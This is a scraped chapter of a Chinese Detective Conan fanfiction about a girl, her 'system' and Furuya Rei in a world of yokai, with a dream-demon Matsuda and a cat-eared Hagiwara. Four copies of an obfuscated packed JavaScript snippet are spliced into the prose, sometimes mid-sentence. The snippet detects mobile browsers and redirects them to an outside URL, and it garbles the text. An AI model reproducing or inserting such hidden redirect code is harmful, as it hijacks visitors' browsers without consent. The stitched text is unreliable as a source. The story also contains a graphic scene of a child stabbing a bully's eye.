l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986145|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她离开了这个隐蔽的角落。 直到被安置在车上,黑沼四白才从见到幼驯染的快乐里醒过来。 她看向身侧淡定开车的降谷零问道:“零为什么会来这里?” “手机上冒出了和通话时相似的虚拟屏幕,询问我和hiro是否要跟随业务员前往任务地点。”他目视前方,轻描淡写地说,“hiro认为我们两个一同消失可能引起不必要的关注,最后决定让我先跟来看看情况。” 黑沼四白脸上的甜笑瞬间消失。 【系统,解释。】 004感觉自己全身都冒出了不存在的冷汗,它结结巴巴地说道:【主系统给您的跨世界通讯器实际上类似一种组队道具,降谷零和诸伏景光手机里安装的那一部分又相当于004分出去的子系统。】 【在宿主进行任务的同时,两位绑定人可以选择跟随,或在联络器上进行远程监控。如果两人一同跟随的话,M02世界的时间也会和源世界一样陷入停滞,而只有其中一人跟过来的情况下则不会。】 爆发了巨大求生欲的系统紧跟着解释:【由于携带了子系统,两位先生跨越世界的通道也在系统防火墙的保护之下,不会有任何风险,请宿主放心。】 黑沼四白没有因为系统的解释放松下来,她紧接着问道:【既然如此,为什么没有提前向我说明,我想我并没有表现出需要这种‘惊喜’的想法。】 【在绑定子系统之前系统是有询问过两位绑定人意愿的,我们可是尊重人权的统!】004期期艾艾地说,【而且……而且是那两位要我暂时不要告诉宿主的。】 黑沼四白悄悄瞪了一眼没事人一样的幼驯染,继续盘问系统:【主系统让我绑定他们俩的目的是什么?】 【当前权限不足,无法获取。】 004已经要汪的一下哭出声来了,它是真不知道主系统的打算啊! 清汤大老爷,它冤啊—— 黑沼四白的烦躁几乎要溢出来了,脱离掌控的发展让她格外不安,根本没有办法冷静下来好好思考。 车子停了下来,降谷零俯身帮她解开安全带,轻轻贴了贴她的额头。 “好了,不要想太多。”他熟练地安抚着不安的小鸟,“先下车,这个世界有些不太一样,我们要在午夜之前回到住处。” 按下心中的各种疑问,黑沼四白勉强稳住心神,跟着降谷零下车,一起走进他订的酒店。 · “好了,请这位先生老实交代。” 黑沼四白双手抱在胸前,杏眼微眯,危险地看着家里的坏猫。 降谷零抬起一只手松了两颗领口的纽扣,笑着走过来把她抱在了怀里。 身材修长的年轻男人放松地靠在沙发上,漫不经心地抚摸着怀里女孩冰凉柔顺的长发。 “这个惊喜怎么样,喜欢吗?” 黑沼四白满心的无语,索性一个转身,跨坐在他腿上,气鼓鼓地伸出手用力扯他的脸颊。 “你又乱来,出了意外怎么办!” “嘛,不会有事的。” 青年小麦色的皮肤被掐出了两块不是很明显的红晕,他单手拢着她的腰肢,另一只手把自己的手机递了过去。 “那些都可以先放一放,我比shiro要早来一天,关于这个世界的一些情报都在这里了,先看一看再找我算账?” 没好气地瞪了他一眼,黑沼四白拿过手机,就着这个姿势靠在他怀里翻阅起来。 “嗯?怪异?” 5. 怪异都市(二) 小小的女孩坐在窗边,一头白发蓬松地披在身上,从后面看像一只略显炸毛的白色海胆。 “那家伙是怪物吧,从来没见过白色的头发,好恶心!” “快离远一点,我听说怪物都是吃人的,我才不想被吃掉。” “别和我们待在一块,白色毛发的怪物!快走开!” 一枚小石子砸到了女孩子的头上,小孩子的力气没有多大,但她应该也是痛的。 女孩却没有回头,也没有哭泣,只是静静坐在那里望向窗外。 仿佛根本没有听到那些恶言恶语,也没有被欺负了的自觉一样。 金发深肤的小男孩站在教室门外,看着这似曾相识的一幕,无趣地撇了撇嘴。 小学生放学的时间很早,等到学校的人走的差不多的时候,背着书包的白色身影才慢吞吞地走向换鞋柜。 她身后不远处,同班的孩子们跟着她,他们用看脏东西的眼神看着她,嘴里嘀嘀咕咕的商量着什么。 傻子都知道他们想要做什么。 金发的身影坐在角落里,恶劣地准备看一看接下来的热闹。 她会哭的吧?看起来就是一副被欺负了就会哭很久的样子。 “喂,你这白头发怎么看都好恶心啊,需不需要我们帮帮你?” 长得壮实的男生站在一群人前面,手里拿着的小剪刀一开一合。 跟在他身后的男生女生也附和着,说些直白又伤人的话。 她终于有了反应,放下书包,缓缓抬起眼睛看了过去。 白色的额发下,一双粉红色的眼睛里没有光亮,暗沉得像是已经枯竭的樱花海。 女孩缓缓牵起嘴角,僵硬又刻板地微笑起来,她轻飘飘地说: “好啊,请帮帮我吧。” 一群孩子发出了尖锐刺耳的嘲笑声。 领头的壮实男生走近她,脸上带着天真又残忍的笑,手上的剪刀朝着她的头发伸了过去。 “啊!” 红色的液体,一滴一滴地落在地上。 原本聚在一起,准备欺凌女孩的孩子们突然愣住,紧接着发出尖叫四散开来。 暗处的金发男孩瞪大了双眼,蹭的一下站了起来,好像看到了什么不可思议的事。 “啊!啊啊!” 男生原本用来伤害她人的剪刀,此刻插在他自己的眼眶里,几乎遮住她小巧身形的身躯转瞬间就跪在了地上。 女孩细瘦伶仃的手有些吃力地握着略大的剪刀,漫不经心地搅动。 和之前没有听到别人对她的辱骂一样。 她此刻好像也没有听到男生尖利的嚎叫,手上的动作没有半点收敛。 原本枯竭的樱花海渐渐亮了起来。 “你在做什么?!快放手!” 留守学校的老师直到现在才匆匆赶来,大声呵斥她,却不知道顾忌着什么不敢推搡她。 她轻飘飘地扫了一眼面前的乱象,松开了手,拿起书包。 又回到了之前沉默的样子。 等到她被老师带走,去办公室给监护人打电话之后,金发男孩才从角落里走出来。 他蹲在地上那一摊红色跟前,伸出深色的手指,轻轻触碰。 之后小小声地笑了起来。 那个小胖子最后瞎了一只眼。 并没有见到她的父母来学校,只来了一个带了很多黑衣人的高大男人。 他轻描淡写的就解决了这件事。 那些试图欺负她的孩子,也陆陆续续的消失在了学校里,可能是转学了。 金发男孩来到她的班级门前,她还是像之前一样,坐在那里望向窗外。 和之前不同的是,再没有人敢靠近她,说那些讨人厌的话。 最是喜欢排挤不同的孩子们,和嫌麻烦就放任的老师们,从那之后连多看她一眼都不敢。 “哟,我叫降谷零,你叫什么名字?” 白发动了动,她回过头,金发深肤的男孩又看见了那片干涸的樱花海。 “黑沼、四白。” 她没什么表情地看着他。 名字怎么又黑又白的,好怪。 降谷零紫灰色的下垂眼闪闪发光,他想要再看一次那天的樱吹雪。 “我叫你shiro好不好?” “……嗯,零君。” 她有些乖巧地应声,可爱的脸蛋没有表情。 “中午,要不要一起去吃饭?” “……好。” 答应了。 后来他们又认识了不会说话的小男孩,名字叫做诸伏景光。 两个男孩加上一个女孩,却意外地相处得很好。 不知为何,变成了学校里人人躲避的怪人三人组。 不过他们也不在意这些就是了。 · 直到有一日,三人坐在她家院子里的樱花树下赏樱。 微风吹拂,天气很好。 诸伏景光磕磕绊绊地对着女孩叫出了她的名字。 金发男孩像一只幼猫一样炸了毛。 乱七八糟的吵闹之间,蓬松的白发被他们梳理得整整齐齐的女孩笑了,笑声清脆又快乐。 降谷零猛地回头看她。 时隔多日,他终于又看到了那片亮起的樱花海。 降谷零却觉得不够,小小的男孩从此刻起又生出了更多的贪心。 一次不够,他还想再看无数次,自她眼中绽开的、世上独一无二的樱吹雪。 他的意思是,他想养她。 让她快乐、给她自由、叫她每天都幸福,再用尽一切去保护她。 让樱花海不再枯竭。 直到降谷零变成了阴晴不定的波本威士忌,诸伏景光变成了冷漠锐利的苏格兰威士忌。 旁人畏惧他们,也就会对她敬而远之。 黑沼四白则一直都是黑沼四白。 谁都不可以夺走她的快乐,他们会替她背负那些阴影。 而她,也会保护好他们的后背。 他们三人会一直一直在一起。 那片樱花海,那场樱吹雪,永远都属于他降谷零。 好吧,勉强加上一个诸伏景光。 他们的日子本该这样幸福平静地过下去。 可那一日悄然到来…… 降谷零听到了仿佛熔岩自深处迸发,击穿他的灵魂,又轰然碎裂的声音。 —— 紧闭着的眼眸猛然睁开,青年面上满是愠怒,不自觉地紧了紧手臂。 “唔……零?” 原本在熟睡的黑沼四白被他的动静吵醒,拍了拍腰间紧箍着的手臂示意他放松。 她的腰可受不住大猩猩的攻击。 黑沼四白伸出被他捂得温热的手,先摸摸降谷零的金发,又捏了捏他的后颈安抚他。 她声音里还带着未苏醒的低哑:“做噩梦了吗?摸一摸吓不到哦。” 身边呼吸微乱的青年把头埋进她颈窝,委屈巴巴地哼唧着:“我需要更多安抚,请再多摸一摸我吧,四白大人。” “唔。” 可爱,黑沼四白并未全力抵抗,瞬间败北。 她的指尖又回到他的头上,自上而下地摸了几下,又捻着发梢过到耳际。 温热的手触碰着微凉的耳垂,揉捏之间他整个耳朵都变得滚烫了起来。 手指继续向下,轻抚他陷在她颈窝的脸,轻柔地抓挠了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986146|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几下。 “噗!这手法是在摸猫吗?” 降谷零被痒得忍不住笑,呼出的湿热气息紧贴着黑沼四白的皮肤,带起一片潮红。 他耍赖一般使劲蹭她,手臂揽着她腰间贴近自己,像是要把她融进自己的血肉里一般。 “是什么样的噩梦?”黑沼四白没有被他闹得忘记正事,轻声问道,“零刚刚很生气呢。” “没什么,只是一些不愉快的事而已,都已经过去了。”贴在身上的大猫黏黏糊糊地说道,“再摸摸我吧,shiro大人,我还是稍微有一些不安呢。” 降谷零不想让她反复回想那些晦涩阴暗的过去,她现在还在他怀里,恰恰证明了那只是一个梦。 哪怕曾经真实的发生过,于现在的他而言,那些也不具备任何意义。 只是让他的心情稍稍变坏一点而已。 黑沼四白勉强在攻势中维持着理智:“是好久不见的撒娇鬼零零呀,话说小光是可以看到这边情况的吧?没关系吗?” 会挨揍的吧,回去之后。 “hiro要生气也是我回去之后的事了,不要管他啦,现在在你床上的可是我零大人哎!”降谷零嘀嘀咕咕地抱怨。 他修长的手指在被子里揉捏着黑沼四白腰上的软肉,体温与呼吸愈发滚烫。 “再亲亲我嘛,shiro~” 黑沼四白原本抚摸他脸颊的手,轻轻挑起了他的脸,借着窗帘缝隙透进来的月光缓缓凑近。 于是终于有人忍不住了。 “喂!没有人在意我吗?!你们明明发现我了吧!?这样旁若无人地真的好吗,我可还在这呢!” 床边传来了不解风情的叽叽喳喳。 黑沼四白轻轻挑了下眉梢,嘴角挂上了一抹淡笑。 被子里的手拍了拍贴在身上的青年,示意他起身。 降谷零抬起眼与她对视,紫灰色的眼中满是清明。 不见半分意乱情迷。 有些事,大可不必自己主动。 瞧,这不就有主动送上门来的吗? 降谷零抱着黑沼四白坐起身,伸长手臂,随手按亮了床头灯。 微暗的灯光只照到他光裸着的上半身,薄薄的被子盖住了从腰往下的位置。 他用手微微遮着黑沼四白的眼睛,免得灯光忽然亮起晃了她的眼。 待她适应了一会,才把手松开。 黑沼四白从他怀里起身,黑色丝质睡袍微乱,降谷零侧身遮住另一边的视线,迅速帮她整理好衣襟。 他一个眼神都没给床边的人,漫不经心地说道:“阁下深夜来访却不打招呼,真是有够失礼。” 黑沼四白则是弯起眼睛轻笑:“零的噩梦,阁下可还满意。” “对伟大的梦魔大人尊敬一点,人类!”那人露出威胁的表情,黑色的卷发轻轻颤动,“这里可是本大人的地盘,一切都属于我,小心我吃了你们啊!” “梦魔?”黑沼四白和降谷零对视了一眼,笑容温和一些,“我们初来乍到,还不太清楚这里的事,可否请梦魔先生解惑?” “原来是从别的地方来的乡巴佬,怪不得这么没规矩。”自称梦魔的卷发少年嘟囔着说,转眼他又露出了得意的笑来。 他咧开嘴,露出尖尖的牙齿,双手叉腰道:“只要你们求求本大人,本大人也不是不可以跟你们说说这里的规矩,省的你们一个不小心就死了!” 降谷零牙尖发痒,这家伙不仅长了一张让人火大的脸,连这讨人厌的性格也和那家伙很像。 他冷笑着看向那只梦魔:“嗯?我好像没听清先生说了什么。您介意再复述一遍吗?” 青年捏紧了沙包一样大的拳头。 6. 怪异都市(三) 现今社会,人与怪异共存。 白日里怪异与普通人并无差别,上学、工作、游玩。 可一旦入了夜,便大不相同了。 日落之后,是属于怪异的时间。 坐在同一个教室的同学、旁边工位的同事、擦肩而过的游客,都有可能在夜晚化身为非人的存在。 早年间的怪异大多以人为食,嗜血成性,危险程度极高。 只有少数性情平和的怪异,才会只根据自身规则,选择食谱上除人类之外的食物来填饱肚子。 但随着时间推移,猎人与猎物之间的冲突仍旧在渐渐扩大,并于百年前爆发了一场极大的混战。 怪异与人、怪异与怪异、人与人之间互相争夺、撕咬,最终归于奈何不得对方的相互制约。 经过了数年的磨合与调整,就诞生了如今的怪异管理协会。 由可控的部分怪异,与知晓怪异的普通人共同管理。 主要负责对作恶的非人之物进行抓捕和处决的官方机构。 除此之外,协会又针对怪异和人类,制订了一系列的约束条例。 其中就包括:‘怪异不得在白日里显出原身’这一条。 是以夜间便成了现代怪异活动的主场。 普通人亦是很惜命地遵守官方条例,非必要不会在午夜后出行。 有效防止了误入非人之物的领地,平白丢了性命,对双方都造成不良影响。 现如今,协会已确定的属于安全范围内的怪异中,梦魔赫然在列。 且属于低危等级,大多不具备危险性。 不过,或许梦魔中也有特殊的存在。 比如某个脾气格外糟糕,热衷暴力解决问题的未成年梦魔——17岁的现役dk松田阵平同学。 “我这样说应该没问题吧?松田君。” 讲故事一样娓娓道来的女声话音一转,带上了些许调侃。 被绑成一团丢在地上的卷发少年呲了呲牙,身后摇来晃去的细长尾巴瞬间绷直,一整个处于炸毛的状态。 “谁管你啊!可恶!快放开本大人。”头上长着一对小小尖角的未成年梦魔愤怒地大声嚷嚷。 “这家伙完全学不乖啊,不过倒是蛮抗揍,不到十分钟就已经恢复的差不多了。” 降谷零靠在沙发扶手上,唇边衔着一支女士香烟,漫不经心的扫了一眼地上的一坨。 他跃跃欲试地看向身侧的黑沼四白:“要不还是再揍一顿吧?可以的吧?shiro!” 拳头捶在这张脸上的感觉可太棒了。 麦卡伦那家伙的少年版,哈。 眼睛,在闪闪发光呢,零。 还是一如既往地看松田氏不顺眼。 黑沼四白扯过他的手捏着玩,闻着他身上传来的巧克力香,轻轻摇了摇头:“不要太欺负他了哦,松田君还是个小孩子呢。” 此松田君非彼松田氏,请这位波本大人不要跨界报复。 那边还在暴跳如雷,继续大声吵闹着:“谁是小孩子啊!我马上就成年了!还有那边那个黑脸的原型难道是怪物大猩猩吗!?打人怎么这么痛!” 0人在意松田阵平(梦魔版)的反驳。 不过…… 噗!大猩猩怪异,黑沼四白努力憋笑。 狠狠欺负了未成年怪异的黑心大人毫无愧疚之心,甚至觉得被害人愈发碍眼。 降谷零按灭手中还剩半截的香烟,冷笑着起身,把被黑沼四白套过话后就暂时没用了的梦魔崽子提起来,抖了抖。 随便拿了个什么堵上嘴。 开门,丢进去,关门,再上锁。 一系列动作行云流水,十分顺畅。 套房次卧里传来一声重物落地的巨响。 幸好酒店隔音不错,不至于吵到其他住客。 降谷零满意点头,拍拍手上不存在的灰尘,还是决定去洗手间洗个手。 他才没有在意什么大猩猩的言论。 没有! 一直在旁观的黑沼四白到底忍住了没有笑出声,小光不在家零零称大王,要是被迁怒了可没人来救她。 【系统,刚刚那个梦魔不是宿体吧?】 004:【不是的,宿体出现的话,系统会主动通知shiro的。】 黑沼四白:【1。】 004:【……】 总觉得自从见到降谷零之后,宿主就不爱理它了。 它要闹了,这简直就是冷暴力! —— 真正走出酒店已经是第二日的傍晚了。 因为连着熬夜,被降谷氏狠狠地压着睡了一整天,补足了睡眠的黑沼四白现在清醒的可怕。 忽视身边的吵吵嚷嚷,黑沼四白状似无意地和系统闲聊:【关于从昨天落地开始,分析技能就不太灵敏了这件事,你有什么头绪吗?004。】 提示词条闪得和短路了一样。 004迅速翻找主系统给的资料:【这个小世界只是极其微小的一个分支,它的运行规则至今还没有很完善。】 【而宿主不仅技能特殊,等级同样很高,小世界目前的资质不足以让高级技能流畅使用。】 【如果强行使技能完全发挥,会导致小世界崩溃进程加速,宿主和降谷先生也可能会被困在这里。】 黑沼四白:【那就先关了,现在也不是很需要,感觉我们不会在这个小世界待得太久。】 【收到!】 结束了和系统的对话,黑沼四白忽然发现不知从何时起,身边一直在斗嘴的两位好像格外安静。 正所谓,孩子静悄悄,必是在作妖。 她迅速转头向身侧看了过去。 很好。 降谷零和小松田双双失去踪影。 独自站在异世界的街道上,眼见着天边最后的一丝日光被黑暗吞没。 黑沼四白茫然眨眼:【……他们人呢?】 004看了一眼刚刚和宿主聊天时的数据库记录,电子音里带着点木然:【五分钟前,有个黑影飞快地掠过去,然后嗖的一下那两位就不在原地了。】 像被一个黑色的大麻袋给打包装走了一样,何方小贼,简直胆大包天。 004扒拉扒拉存货箱,默默找出了自己差点落灰的电子木鱼。 希望不知名人士的心脏足够坚强。 004在心里碎碎念,它的宿主shiro女士,可是个实打实的小心眼。 作为骤然丢失了幼驯染和临时向导的失主——黑沼四白此刻并没有急着生气。 她露出些许不解的表情:【所以为什么不一起把我也带走,怪异也搞歧视?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986147|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在心里腹诽宿主的004磕磕巴巴:【呃……这个……】 “晚上好,美丽的女士。” 半长发的高瘦少年像一阵风一样突然出现在黑沼四白面前,打断了系统半天磕巴不出来的话头。 很有礼貌,他笑眯眯地打着招呼。 一张极具魅力的漂亮脸蛋。 假如他笑起来的时候嘴巴里没有露出獠牙。 黑沼四白或许会愿意为这赏心悦目的出场方式鼓掌。 她理解了一切:【破案了,并非歧视,目标是我。】 “晚上好,这位……”黑沼四白顿了顿,斟酌了一下用词,“小先生?” 身后冒出了两条毛茸茸的黑色尾巴,应该是猫尾,因为他头上的同色猫耳已经非常Q弹地抖动了好几下。 是猫妖吗? 气氛陷入了短暂的沉默。 他脸上笑眯眯的表情一直没有变化,甜甜蜜蜜地对她说道:“看在那两位先生的份上,可否让我和您一同观赏美丽的夜景?或许我会是个不错的向导也说不定。” 明明是认识的脸,气质却完全不同,说话的语气也不太一样。 是因为换了个物种的原因吗? 老实说,感觉有点微妙。 稍微走了下神。 收回逐渐乱跑的思绪,黑沼四白迅速盘点了一下目前可能用上的东西。 非常棒的发现了没什么可用的。 姑且先顺其自然,看看他在打什么算盘,毕竟也没别的选择了。 不过很明显,她肯定打不过对方。 柔弱人类黑沼四白:不靠外力连普通的亚健康成年男子都打不过的玻璃人。 眼前这一位猫妖(?):同位体是大猩猩之一的非人生物。 就算看起来高高瘦瘦的一条,他也不是黑沼四白那点微薄体术能挑战的对象。 对方给她来上一拳,就足够让她原地读档了,而黑沼四白相当的讨厌受伤和疼痛。 【存档。】 【了解!】 黑沼四白弯起眉眼:“当然可以,我正需要一位向导,您的到来正是时候呢。” 希望他是一位素食主义者,被吃掉可不是什么有趣的死法。 顺从地跟着名字大概率叫萩原研二的人朝着一条隐蔽的小路走去,黑沼四白甚至有余力在心里讲并不好笑的俏皮话。 · “所以,您是一位猫咪先生吗?” 黑沼四白率先搭话,她露出好奇的表情看向他摇来摇去的两条尾巴。 又抬头看向他头顶不时抖动的猫耳。 “嗯?”脸谱一样的笑稍稍褪去,他有些俏皮地对她眨眨眼睛,“不是哦,这个是假的啦。” 黑沼四白歪头:假的? “要摸摸看吗?手感很棒的哦。”他停下脚步,微微弯下腰看着她邀请道。 莫名其妙地摸起了熟悉的陌生人的猫耳朵。 确实是很奇妙的手感,并非毛茸茸,而是类似果冻的手感。 怪不得那对耳朵一副很Q弹的样子。 “那么,我回答了小姐姐的问题,现在也轮到您回答我的问题了哦。” 刚刚还笑眯眯的人收回了表情,尖锐的竖瞳看向黑沼四白。 “您把我的同伴,弄去哪里了呢?” 7. 怪异都市(四) “真的,非常抱歉……” 高高瘦瘦的少年做了一个标准的谢罪姿势,一双猫耳朵软趴趴地贴在头上,尾巴也不再摇晃地乖乖垂在身后。 看上去可怜极了。 时间倒退五分钟—— 在听到他问的问题之后,黑沼四白就立刻推翻了之前的所有猜测。 由于昨晚没在小松田身边见到小萩原,对方失踪了一天一夜也没见小萩原来找人。 这让黑沼四白一度以为这两人在这个小世界并非亲友,甚至可能因为同为怪异的身份有所对立。 加上小萩原出现的时机太过凑巧,导致黑沼四白推测可能是他带走了降谷零和小松田。 毕竟小世界并非平行世界,人物关系不同的也不占少数,一切皆有可能。 直到被他问到了脸上才反应过来。 完全,猜错了。 这位小萩原找小松田找了一天加半个晚上,怎么也找不到。 终于摸到这边的时候,偏偏目睹了两个大活人凭空消失的场景。 而当时已经临近天黑,周围只有黑沼四白一个人站在那里。 可疑程度直接拉满。 认出了对方是人类。 于是特地等到日落后的一瞬间显露身形,准备逼问凶手都做了什么。 而被他一问直接反应过来的黑沼四白火速澄清,并反手问出了他的心路历程。 最终成功避免了一场逼供惨案。 然后在沟通时适当运用一点话术,就让刚刚露出恶鬼表情的小萩原愧疚的恨不得以死谢罪。 到底还是少年版,还是太年轻。 坏大人晃了晃并不存在的狐狸尾巴,在心里感叹着。 “好了,请起来吧。”怪丢人的。 黑沼四白对他伸出手:“现在我们该好好想想,怎样才能把我家的猫和你家的小朋友找回来。” 总之一位真身不明的怪异和一个人类踏上了寻找自家幼驯染的旅程…… 显然并不是这种轻小说开头一般的情节。 在跟着小萩原踏入怪异云集的夜间集市的一瞬间,大量的视线一瞬间全部直直地朝着黑沼四白投了过来。 喧闹的集市像被按下了暂停键,陷入了死寂。 还不等黑沼四白发出疑问,就被反应很快的少年一把捞起,转身就跑。 “抓紧了哦,小姐姐。” 所以这是什么情况? 黑沼四白回头看了眼身后追上来的各路奇形怪状的怪异,试图在颠簸中思考。 小萩原体力真的不错,他边跑边问道:“小姐姐你身上有没有受伤?” 顺着他的话找了一下,黑沼四白很快就在手背上发现了一道浅浅的划痕。 并不深,只冒出了零星几点血珠。 有很轻微的刺痛感,不注意的情况下很容易被忽略,应该是刚刚不小心划到的。 如果不是特地去找,黑沼四白可能直到找到降谷零之后才会知道这道划伤。 大概率还是降谷零发现的。 “是我的血刺激到他们了吗?”稍稍推测就能想到的可能性。 “是哦,小姐姐应该是特殊体质吧?” 小萩原一个起跳,单手攀着墙头翻了过去,向着另一边没有光亮的街道跑去。 即使持续剧烈运动也完全没有大喘气,他吐字清晰地向她解释:“有一部分人类的血肉会引起怪异灵魂深处最深的渴望,有甚者一个照面就会诱使怪异失去部分理智,变成只剩下本能的野兽。” 黑沼四白看看后面被甩掉一部分,剩下的更加癫狂追逐过来的怪异们。 最深的渴望和本能吗?看起来貌似是食欲。 又看看拎着她跟拎了个布娃娃差不多,靠着两条腿把大部队远远甩在身后的小萩原。 “那你呢?你怎么没反应?” “啊!我是素食主义者哦,是餐风饮露的小仙男来着,人类不在我的食谱上啦~” 黑沼四白:……突然觉得血压有点不太稳定。 围观了所有混乱不敢吭声的004:…… 希望宿主不要想起它来,它也不知道宿主居然还有这个设定啊。 见了鬼的素食主义者,她最近是得罪了幸运之神吗? 先是面临世界崩溃的危机被返聘,被迫单机畅游异世界。 后来又发现技能出问题,丢失了组队而来的幼驯染和绑来的向导。 刚刚又被误会,险些遭到绑架逼供。 好不容易确定了今晚的行动计划,一切暂时步上正轨。 却因为几滴血开启了夜间大逃杀副本。 这些单拎出来一项都够惨了,偏偏最后这点让黑沼四白格外憋屈。 假如小萩原和后面那群食谱一致。 在她出血的一瞬间就会产生异样,她也就不会进入怪异超多的集市。 这场追逐战也就可以完美避免。 偏偏他还真的是她之前祈祷的那样,是个素食主义者。 于是黑沼四白这个怪异眼中的香饽饽,带着饵食一般的血气,垂直地掉进了怪异堆里。 这是什么顶级倒霉蛋。 情绪平稳如黑沼四白,此刻也有点想说脏话的冲动了。 “没事啦,我会带着小姐姐跑出去的~”小萩原低头给了黑沼四白一个甜蜜的wink,“我和小阵平的公寓在这附近,出血量不大的情况下,等跑到那边基本就可以散尽这点血气啦。” 看看自己已经用敷贴盖住的那道划伤,黑沼四白默默地又拿出一片叠着贴在了上面。 感谢当年抽奖的好运气,空间道具真是到处都能派上用场。 配合囤货的习惯,让她拥有了一个随身的万能宝物库。 不是所有人出门时口袋里都会随身带着医用敷贴的。 · “好啦,这下就不用担心有血气飘出来了。” 修长的手指灵巧地给绷带打了个结,淡淡的药味从绷带上传入鼻端。 黑沼四白接过小萩原递来的杯子:“出师未捷,接下来要去哪里找线索呢?” 啊,是温水。 “本来是要去集市打探一下最近协会发布的通缉名单的,现在来看好像不太行,那里对小姐姐来说有点过于危险啦。” 拿出一罐橙汁咕咚咕咚干掉的少年一下子瘫在了沙发上,苦恼地抱着头转来转去。 他把脸塞进了抱枕里,发出了闷闷的抱怨声:“小阵平那家伙没带手机,完全没办法联络啊,说到底出去捕猎为什么不带手机嘛……” “话说,小姐姐是刚到这里吗?感觉好像对好多事都很陌生的样子。”小萩原侧过头,一双明丽的紫色眼眸看了过来。 正把玩着耳坠思考的黑沼四白回神:“是哦,我们从北海道那边过来,打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986148|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂时居住在这边一段时间。” 黑沼四白弯了弯眼睛,自然地看了回去,没有半分在扯谎的心虚感。 “一直和零两个人居住在偏僻的地方,很少和外界接触,完全没有想到自己的血会有特殊的地方呢。” 黑沼四白抿了一口温水,淡淡说道,“毕竟我们两个都是普通人类,零一向把我护得很好,基本上没有受过见血的伤。” 一个照面就让她受了伤的人:…… “对不起——” 刚还在努力套话的小萩原,一下子就变成了扁扁的蛋花眼史莱姆。 黑沼四白悄悄弯了下眼尾。 能看到组织里狐狸精怪一样的雅文邑这副模样,虽然是少年版也足够有趣了。 之前穿越其他小世界很少能遇见萩原研二这个人,这次倒是很明晰地感觉到了世界线的差异。 004悄悄冒头:【shiro,找到了降谷先生的定位,之前一直被遮盖着,三十秒之前才显示出来。】 【在哪里?】黑沼四白不动声色地拿出手机,【把定位发送到我手机上。】 【好哦,已发送。】 “嘀嘀!” 黑沼四白对看过来的小萩原晃了晃手机:“零发了定位过来,这下可以省略调查步骤了。” “哎?”小萩原瞬间坐直,不可思议地瞪大了眼睛,“居然还能这样的吗?” 他刚刚还在考虑要不要…… “这叫现代科技的妙用。”黑沼四白起身拿起外套穿好,“好了,我们出发吧。” “哦哦!营救计划正式开始了吗?” · 黑沼四白跟着路线指引,带着小萩原来到了定位上显示的地点楼下。 她看着熟悉到不行的正门,有点无语地对系统吐槽:【这个定位不就是之前我们住的那家酒店吗?我两个多小时前刚从这出来。】 只不过地图上显示的是顶层客房。 004硬着头皮回道:【……这大概就是人类说的,灯下黑吧?】 很顺利地凭着顾客身份上到了顶楼。 电梯里的楼层示意上显示,整个顶层只有一间套房。 指尖搭在口袋里的枪身上,黑沼四白默默提高了些警惕,继续踩着小萩原看不到的绿色虚线向里走。 两人站在了紧闭着的门前,在灯光昏暗的走廊里对视了一眼。 小萩原伸手敲了敲门。 紧闭的房门默默地敞开了一条缝隙。 自诩绅士的小萩原率先推门向里面走。 黑暗的房间内传来了激烈的打斗声,黑沼四白叹了口气,把手从口袋里拿了出来。 差点忘了,她家这个可不是什么只能等待营救的娇滴滴的公主。 而是成年的钢铁大猩猩。 “零,停手。” 黑沼四白出声提醒后,走进房间带上门,又把门边的电灯开关按下。 “shiro?” 降谷零一把将小萩原按在地毯上,转头震惊地看了过来。 室内被灯光照亮,一片狼藉的惨烈景象落入了黑沼四白的眼底。 除了一边被床单捆成木乃伊的一条之外,不知为何小松田也是一副饱受摧残的模样被堵着嘴捆在了另一边。 黑沼四白微妙地沉默了一下。 “所以,和你同为被害人的松田君为什么变得破破烂烂的?” 8. 怪异都市(五) “好痛哦——下手好重。” 好不容易被放开的小萩原靠在沙发上抱怨,满脸痛苦地揉捏着肩膀。 降谷零不为所动,笑眯眯地揽着黑沼四白的肩膀看过去:“那还真是抱歉了,我还以为是绑架犯的同伙找了过来,不小心下手重了点。” 他熟练地摆出了糊弄人的表情,没有丝毫掩饰。 绝对是故意的,这个人完全在宣泄自己的不爽。 黑沼四白不想理那边的交锋,看着地上的木乃伊状生物出神,并在心里默默吐槽自家幼驯染。 “我是没关系啦,不过……” 面容还有些稚嫩的猫耳少年看向另一边阴着一张脸的小松田,也一副笑眯眯的模样说道,“我们家小阵平还真是遭受了非人般的虐待呢,漂亮的脸蛋都肿起来了,好可怜~” 